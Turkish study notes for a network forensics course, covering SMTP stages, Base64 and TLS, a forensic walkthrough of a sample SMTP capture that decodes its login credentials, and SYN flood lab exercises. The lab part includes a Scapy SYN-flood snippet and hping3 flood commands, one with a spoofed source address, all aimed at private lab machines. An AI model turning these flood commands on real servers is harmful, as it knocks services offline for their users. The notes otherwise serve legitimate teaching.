Hafta 6: SMTP E-posta Adli Analizi ve HTTP SYN Flood
Kaynak: 30_SMTP_Email_Forensics.pptx (37 slayt), smtp.pcap, HTTP_tshark_Forensics_1_SYN_Flood.pptx (22 slayt).
Notundaki "4. slayt: SMTP, hangi aşamadan ne kullanılıyor, ne yapıyor? SSL/TLS, Conversion" = bu hafta.
BÖLÜM A: SMTP E-posta Forensics
1. E-posta protokolleri
| Protokol | Görevi | Port |
|---|---|---|
| SMTP | E-posta GÖNDERME (istemci -> sunucu, sunucu -> sunucu) | 25 (şifresiz/eski), 587 (güvenli, modern gönderim), 465 (SSL/TLS) |
| IMAP | Sunucudaki e-postaları alma/yönetme (mailler sunucuda kalır) | 993 (güvenli) |
| POP3 | E-postaları sunucudan indirme (daha eski ve basit) | 110 (995 güvenli, ek bilgi) |
- SMTP, OSI'de Uygulama katmanı protokolüdür.
- SMTP düz metin (plain text) bir protokoldür: varsayılan olarak şifrelenmez. Güvenli hali: SMTPS = SMTP over SSL/TLS veya STARTTLS (mevcut düz bağlantıyı sonradan TLS'e yükseltir).
- Basit hafıza kuralı: SMTP = gönder, IMAP = indir.
2. SMTP nasıl çalışır? Aşama aşama (gönderme işlemi) ➜ notunda geçen "hangi aşamadan ne kullanılıyor"
| # | Aşama | Komut / yanıt | Ne yapar |
|---|---|---|---|
| 1 | Bağlantı kurulumu | TCP 3'lü el sıkışma, sunucu: 220 ... ESMTP |
Sunucu "hazırım" der (service ready), kendini tanıtır, izinsiz toplu mail için kullanılamaz uyarısı verebilir |
| 2 | Selamlaşma (handshake) | HELO (eski) / EHLO (genişletilmiş, ESMTP) |
İstemci kendini tanıtır. EHLO ile sunucunun desteklediği seçenekler (SIZE, AUTH, STARTTLS...) öğrenilir. Sunucu EHLO'yu bilmezse istemci HELO'ya döner |
| 3 | Kimlik doğrulama | AUTH LOGIN / AUTH PLAIN |
Kullanıcı adı ve parola Base64 olarak gönderilir. Sunucu 334 ile sorar, 235 ile onaylar |
| 4 | Zarf (envelope) bilgisi | MAIL FROM: ve RCPT TO: |
Gönderen ve alıcı adresi. Birden çok RCPT TO olabilir |
| 5 | Veri aktarımı | DATA -> sunucu 354 |
E-posta içeriği (başlıklar From/To/Subject + gövde) gönderilir. Sonu satırda tek başına . ile bitirilir (<CR><LF>.<CR><LF>) |
| 6 | Kuyruğa alma | 250 OK: queued as ... |
Sunucu maili kabul eder, takip numarası verir |
| 7 | Kapanış | QUIT -> 221 Bye |
Bağlantı kapanır |
| 8 | Teslimat | Sunucudan sunucuya | Gönderici SMTP sunucusu, alıcının alan adının DNS (MX) kayıtlarına bakıp alıcı sunucuya iletir. Alıcı sunucu mailbox'a koyar |
Zarf (envelope) vs başlık (header)
- Zarf:
MAIL FROM/RCPT TO(taşıma için kullanılır) - Başlık/İçerik:
From:,To:,Subject:,Date:(mailin içinde, kullanıcının gördüğü). Bunlar zarftan farklı olabilir (sahte e-posta bu yüzden mümkün).
SMTP yanıt kodları (slayt 16)
| Kod | Anlamı |
|---|---|
| 220 | Servis hazır (service ready) |
| 221 | Servis bağlantıyı kapatıyor (Bye) |
| 235 | Kimlik doğrulama başarılı |
| 250 | İstek tamam (OK) |
| 334 | Sunucu AUTH'ta Base64 bilgi istiyor (VXNlcm5hbWU6 = "Username:", UGFzc3dvcmQ6 = "Password:") |
| 354 | Maili gönder, . ile bitir |
| 214 | Yardım (HELP) mesajı |
| 251 | Kullanıcı yerel değil, mail yönlendirilecek |
| 252 | Kullanıcı doğrulanamıyor ama mail kabul edilip teslim denenecek |
| 4xx / 5xx | (ek bilgi) 4xx geçici, 5xx kalıcı hata |
Slayttaki not: 2 ve 3 ile başlayan kodlar genel durum/istem mesajlarıdır, teslimat hatası göstermez.
SIZE: sunucunun kabul ettiği maksimum mesaj boyutu (örn. slayt: 14.680.064 oktet). EHLO yanıtında gelir.
3. Base64 (Conversion) ➜ notundaki "Conversion"
Base64: İkili (binary) veriyi (resim, ses, dosya) sadece yazdırılabilir ASCII karakterlere çeviren kodlama.
- Amaç: ikili verinin e-posta, URL, JSON, XML gibi metin tabanlı ortamlardan bozulmadan iletilmesi.
- Şifreleme DEĞİL, sadece kodlamadır: herkes geri çözebilir. Bu yüzden SMTP AUTH'ta kullanıcı adı/parola düz metin gibi ele geçirilir.
- SMTP'de kullanıcı adı ve parola Base64 gider. Adli analizde Wireshark'ta bu değerleri çözmek delildir.
Nasıl çalışır (slayt 20-23): 3 baytlık (24 bit) veri 4 adet 6-bitlik parçaya (sextet) bölünür, her sextet 64 karakterlik tablodan (A-Z, a-z, 0-9, +, /) bir harfe karşılık gelir. Veri 3'ün katı değilse sonuna = dolgusu (padding) eklenir. Örn. "Man" -> TWFu (M=77=0x4D=01001101...). Tek harf M (77) -> sextet 19 (T), 16 (Q), padding, padding -> TQ==. ASCII tablosu (slayt 23): 84 = 0x54 = T.
Python ile çözme (slayt 24-25):
import base64
base64_text = "Z3VycGFydGFwQHBhdHJpb3RzLmlu"
ascii_text = base64.b64decode(base64_text).decode('utf-8')
print(ascii_text) # gurpartap@patriots.in ("TWFu" -> "Man")
Wireshark'ta otomatik çözme (slayt 28-29): bir AUTH paketine sağ tık -> Protocol Preferences -> Simple Mail Transfer Protocol -> "Decode Base64 encoded AUTH parameters" işaretle; paket listesinde User: gurpartap@patriots.in / Pass: punjab@123 düz görünür.
Terminalde:
echo "Z3VycGFydGFwQHBhdHJpb3RzLmlu" | base64 -d # kodu çöz -> gurpartap@patriots.in
echo "cHVuamFiQDEyMw==" | base64 -d # -> punjab@123
echo -n "kullanici" | base64 # metni kodla
İpucu: Base64 sonu genelde = dolgusuyla biter.
4. SSL/TLS ➜ notundaki "SSL/TLS"
SSL/TLS = ağ üzerinde iki uygulama (tarayıcı-sunucu, mail istemci-sunucu) arasındaki iletişimin gizliliğini ve bütünlüğünü sağlayan şifreleme protokolleri.
- SSL: Netscape'in orijinal protokolü. SSL 3.0 güvenlik açığı nedeniyle 1999'da kullanımdan kalktı (not: slayt böyle yazıyor).
- TLS: SSL'in modern ve güvenli halefi. Şu an standart: TLS 1.2 ve 1.3.
- Alışkanlıkla "SSL" denir, ama bugün kullanılan TLS'tir.
3 ana görevi:
| Görev | Ne yapar | Sonuç |
|---|---|---|
| 1. Şifreleme (Encryption) | Veriyi okunamaz hale getirir; sadece doğru anahtara sahip alıcı çözer | Araya giren veriyi okuyamaz |
| 2. Kimlik doğrulama (Authentication) | Sunucunun gerçekten iddia ettiği sunucu olduğunu doğrular: güvenilir CA (Sertifika Yetkilisi)'nın verdiği dijital sertifika | Sahte (phishing) siteye bilgi gitmez |
| 3. Veri bütünlüğü (Integrity) | Veriye özet (hash)/imza eklenir | Yolda değiştirildi mi anlaşılır |
- En yaygın kullanım: HTTPS (adreste
https://, kilit simgesi). - SMTP'de: SMTPS (465) baştan TLS; STARTTLS (587) düz başlayıp sonra TLS'e geçer. Pcap'te sunucu
250-STARTTLSilan ediyor ama bu kayıtta kullanılmamış, bu yüzden her şey okunabiliyor.
5. Lab: smtp.pcap (kendim analiz ettim)
Bu .pcap, MS Outlook ile gönderilen bir e-postanın trafiğini içerir.
Soruların cevapları (slayt 36: "Questions you need to answer")
| Soru | Cevap |
|---|---|
| Ne zaman? | 5 Ekim 2009. Mail başlığındaki Date: = Mon, 5 Oct 2009 11:36:07 +0530 (= 06:06:07 UTC). Sunucu karşılama zamanı 01:05:54 -0500 (aynı an, UTC 06:05:54). Yakalama süresi yaklaşık 7,6 sn |
| E-posta istemcisi? | Microsoft Office Outlook 12.0 (X-Mailer başlığı) |
| İçerik? | Çok parçalı (multipart/mixed): içinde multipart/alternative (text/plain + text/html) ve ek: NEWS.txt. Metin: "Hello / I send u smtp pcap file / Find the attachment / GPS". Konu: SMTP. 14 TCP parçası halinde gitmiş, Wireshark 45. pakette birleştiriyor |
| Gönderen / alıcı? | From: "Gurpartap Singh" <gurpartap@patriots.in> -> To: raj_deol2002in@yahoo.co.in |
| Yaklaşım (ports)? | Gönderen port 1470 (rastgele/ephemeral), alıcı (sunucu) port 25 (SMTP) |
| IP? | Gönderen 10.10.1.4, sunucu 74.53.140.153 (mail.patriots.in, DNS ile çözülmüş) |
| MAC? | Gönderen 00:e0:1c:3c:17:c2. Hedef MAC 00:1f:33:d9:81:60 (yerel ağ geçidi/router'ın MAC'i; sunucu uzakta olduğu için MAC'i görünmez) |
Önemli deliller
- Kimlik bilgisi ele geçti:
AUTH LOGINile Base64 giden değerler: - Kullanıcı:
Z3VycGFydGFwQHBhdHJpb3RzLmlu-> gurpartap@patriots.in - Parola:
cHVuamFiQDEyMw==-> punjab@123 - Sunucu:
235 Authentication succeeded - Sunucu: Exim 4.69 (
xc90.websitewelcome.com),SIZE 52428800(50 MB),PIPELINING,AUTH PLAIN LOGIN,STARTTLS - Kabul:
250 OK id=1Mugho-0003Dg-Un(kuyruk/takip numarası) - ICMP "Fragmentation needed" + TCP retransmission: MTU sorunu (192.168.1.1 router parçalanma ister), büyük DATA parçaları yeniden gönderilmiş
- Ayrıca başlıkta
x-cr-hashedpuzzle(Outlook'a ait bir eklenti başlığı)
Wireshark/tshark ipuçları (slayt 25-35)
smtp # SMTP trafiğini filtrele
smtp.req.command == "AUTH" # AUTH komutları
imf # e-posta mesajı (Internet Message Format)
Follow -> TCP Stream # tüm konuşmayı oku (alternatif yöntem, slayt 34)
tshark -r smtp.pcap -Y smtp
tshark -r smtp.pcap -q -z follow,tcp,ascii,0 # konuşmayı yazdır
tshark -r smtp.pcap -Y imf -T fields -e imf.from -e imf.to -e imf.subject
Slayt 45: parçalı DATA (14 fragment) Wireshark tarafından tek e-posta olarak birleştirilir.
BÖLÜM B: HTTP, tshark ve SYN Flood
Çıkmış sınavda "HTTP SYN FLOOD saldırısı nedir?" tanım sorusu vardı.
6. TCP üçlü el sıkışma (three-way handshake)
| Adım | Gönderen | Paket | Anlamı |
|---|---|---|---|
| 1 | İstemci | SYN (seq = m) | "Bağlanmak istiyorum" |
| 2 | Sunucu | SYN + ACK (seq = n, ack = m+1) | "Tamam, ben de hazırım" |
| 3 | İstemci | ACK (ack = n+1) | "Aldım" -> ESTABLISHED |
Durumlar: İstemci: CLOSED -> SYN-SENT -> ESTABLISHED. Sunucu: CLOSED -> LISTEN -> SYN-RECEIVED -> ESTABLISHED.
- Sequence #: gönderilen segmentteki ilk baytın numarası
- ACK #: alıcının beklediği bir sonraki bayt numarası. SYN için +1 eklenir.
7. SYN Flood saldırısı
Fikir: İstemci el sıkışmayı tamamlamazsa sunucu, SYN-RECEIVED durumunda (yarı açık bağlantı) kaynak ayırıp bekler. Saldırgan çok sayıda SYN gönderip ACK göndermezse, sunucunun bağlantı tablosu/kaynağı dolar ve gerçek kullanıcılara hizmet verilemez. Bir tür DoS / DDoS saldırısıdır (HTTP için hedef port 80).
Wireshark'ta belirti: kaynaktan sürekli SYN paketleri var, ama hedefin döndüğü SYN+ACK'e karşılık ACK yok (veya SYN+ACK'ler cevapsız).
Lab adımları (slayt 8-14)
tshark -D # arayüzler: eth0, any, lo (Loopback) ...
tshark -i lo -c 4 -w mySYNFloodCapture.pcap # 1. terminal: lo'da 4 paket yakala ve dosyaya yaz
sudo python3 synflood.py # 2. terminal: saldırıyı başlat
sudo service apache2 start # hedef web sunucusu çalışıyor olmalı
synflood.py içindeki send_syn(target_ip_address, target_port=80, number_of_packets_to_send=40, size_of_packet=20): hedef IP (örn. 192.168.78.11), port 80, 40 paket, 20 bayt. Çıktı: send_syn(): Sent 40 packets of 20size to 192.168.78.11 on port 80. Wireshark (R1 e1/1 hattı): kaynak 192.168.26.11 -> 192.168.78.11, [SYN] paketleri ve hedeften dönen [SYN, ACK]'lar. Topoloji: Kali -- ESW1 -- R1 -- OWASP-1 (kurban).
Scapy ile saldırı kodu (slayt 7-9)
Scapy = paket oluşturma, gönderme, dinleme, çözme kütüphanesi (Python).
ip = IP(dst=target_ip) # hedef IP başlığı
tcp = TCP(sport=RandShort(), dport=target_port, flags="S") # SYN bayrağı, RASTGELE kaynak port
raw = Raw(b"X" * size_of_packet) # veri alanı
p = ip / tcp / raw # paketi birleştir
send(p, count=40, verbose=0) # 40 paket gönder
flags="S"-> SYN bayrağıRandShort()-> rastgele kaynak port- Kendi makinemizdeki
loarayüzü (127.0.0.1) + apache2 ile demo:sudo service apache2 start; bir terminalde dinleme, diğerinde gönderme. - Ödev: iki VM, saldırıyı taklit et, delili göster.
hping3 ile saldırı (slayt 17-22)
hping3 -S --flood -V -p 80 192.168.78.11 # SYN flood
hping3 -S --flood -V -d 6000 -p 80 192.168.78.11 # 6000 baytlık veri ile
hping3 -S --flood -V -a 15.15.15.15 -p 80 192.168.78.11 # SAHTE kaynak IP (spoof)
| Parametre | Anlamı |
|---|---|
-S |
SYN bayrağı |
--flood |
Cevapları beklemeden olabildiğince hızlı gönder |
-V |
Ayrıntılı (verbose) çıktı |
-p 80 |
Hedef port |
-d <n> |
Veri boyutu (bayt) |
-a <ip> |
Sahte kaynak IP ile saldırı (kaynağı gizler) |
- Boyut verilmezse 20 baytlık paketlerle flood yapılır. 34 bayt başlık eklenir (Ethernet 14 + IP 20), toplam frame 54 bayt.
- Kaynak portlar rastgele.
8. MTU ve parçalanma (slayt 18-21)
- MTU = tek pakette taşınabilecek en büyük birim. Standart Ethernet: 1500 bayt. VPN/ADSL'de daha düşük olabilir (1492, 1458...).
- Slayt: 6000 baytlık veri tek pakete sığmaz parçalanır (fragmentation): ilk 4 pakette 1480 bayt veri, son pakette 6000 - 4x1480 = 80 bayt; karşı taraf birleştirir. Frame toplamı ~1514 bayt (Ethernet başlığı dahil).
- IP başlığındaki bayraklar: DF (Don't Fragment, parçalama!) ve MF (More Fragments, arkasından parça var).
- Bu hafta smtp.pcap'te ICMP "Fragmentation needed" mesajı da aynı konuyla ilgili.
9. Hızlı tekrar
| Konu | Özet |
|---|---|
| SMTP | Gönderme, port 25/587/465, düz metin, uygulama katmanı |
| IMAP / POP3 | Alma (993 / 110) |
| SMTP akışı | 220 -> EHLO -> AUTH -> MAIL FROM -> RCPT TO -> DATA(354) -> . -> 250 -> QUIT(221) |
| HELO vs EHLO | EHLO = genişletilmiş (SIZE, AUTH, STARTTLS) |
| Base64 | Kodlama, şifreleme değil; base64 -d |
| SSL/TLS | Şifreleme + kimlik doğrulama (CA sertifikası) + bütünlük; SSL eski, TLS güncel |
| STARTTLS | Düz bağlantıyı sonradan TLS'e yükseltir |
| SYN Flood | SYN yağdırıp ACK vermemek; yarı açık bağlantılar sunucuyu tüketir (DoS) |
| hping3 | -S --flood -p 80 -a <sahte-ip> |
10. Kendini test et
- SMTP ile IMAP/POP3 arasındaki fark? Portları?
- SMTP aşamalarını komutlarıyla sırala.
- HELO ile EHLO farkı?
MAIL FROMile mail içindekiFrom:aynı şey mi? 220,250,334,235,354,221kodları ne demek?- Base64 şifreleme midir? SMTP AUTH'ta neden tehlikeli?
Z3VycGFydGFwQHBhdHJpb3RzLmlune eder? - SSL/TLS'in 3 görevi? SSL ile TLS arasındaki fark?
- STARTTLS ile SMTPS (465) farkı?
- smtp.pcap: gönderici/alıcı IP-port-MAC, istemci, tarih, ek dosya adı?
- Üçlü el sıkışmayı anlat. SYN flood neden sunucuyu çökertir?
hping3 -S --flood -V -a 15.15.15.15 -p 80 <ip>komutunu parça parça açıkla.- MTU nedir? DF ve MF bitleri?